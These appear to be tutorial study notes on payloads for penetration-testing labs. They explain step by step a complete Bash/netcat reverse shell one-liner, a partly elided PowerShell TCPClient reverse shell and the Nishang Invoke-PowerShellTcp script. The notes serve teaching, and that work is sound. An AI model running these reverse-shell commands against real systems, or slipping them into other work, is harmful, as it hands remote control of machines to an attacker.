# Introduction to Payloads

Here are your notes on **“Introduction to Payloads”** — broken down, simplified, and easy to revise 📘💡

***

#### 🔐 What Is a Payload?

* In cybersecurity, a **payload** is the actual code/command delivered to a system to exploit it.
* It executes a specific action (e.g., open a shell, steal data).
* It can be blocked by defenses like antivirus (e.g., Windows Defender).
* Think of it like the message in an email — it's what gets *delivered and executed*.

***

#### 💣 Bash/Netcat Reverse Shell One-Liner Breakdown

{% code overflow="wrap" %}

```bash
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 10.10.14.12 7777 > /tmp/f
```

{% endcode %}

**Step-by-step:**

1. `rm -f /tmp/f;` → Removes the FIFO file if it exists.
2. `mkfifo /tmp/f;` → Creates a named pipe (FIFO).
3. `cat /tmp/f |` → Reads from the pipe.
4. `/bin/bash -i 2>&1 |` → Interactive Bash, redirects stderr to stdout.
5. `nc 10.10.14.12 7777 > /tmp/f` → Opens connection to attacker, sends output to the pipe.

📌 Used on **Linux** to get a reverse shell via **Netcat**.

***

#### 🧠 PowerShell Reverse Shell One-Liner Breakdown

{% code overflow="wrap" %}

```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443); ... $client.Close()"
```

{% endcode %}

**Step-by-step:**

1. `powershell -nop -c` → Runs PowerShell with no profile and executes command.
2. `$client = ...TCPClient(IP, Port);` → Creates a TCP socket to attacker's IP.
3. `$stream = $client.GetStream();` → Opens stream for communication.
4. `[byte[]]$bytes = 0..65535|%{0};` → Creates an empty byte array.
5. `while(...)` → Listens for incoming commands.
6. `GetString(...)` → Converts bytes to readable text.
7. `iex $data` → Executes the received command (Invoke-Expression).
8. `Out-String` → Converts output to string.
9. `Get-Location` → Returns the prompt (e.g., PS C:>).
10. `GetBytes(...)` → Encodes output to send back.
11. `$stream.Write(...)` → Sends data back to attacker.
12. `$client.Close()` → Closes the connection.

📌 Used on **Windows** for reverse shells via **PowerShell**.

***

#### 🧰 PowerShell TCP Shell Script Example (Nishang)

* `Invoke-PowerShellTcp` is a function/script for **reverse or bind shells**.
* Parameters:
  * `-Reverse`: connects to the attacker.
  * `-Bind`: listens for incoming connection.
* Based on `.NET` TCPClient and TCPListener.
* Automates reverse/bind connections for penetration testers.

🧩 Links to:

* Nishang repo: <https://github.com/samratashok/nishang>
* Original post: [labofapenetrationtester.com](http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html)

***
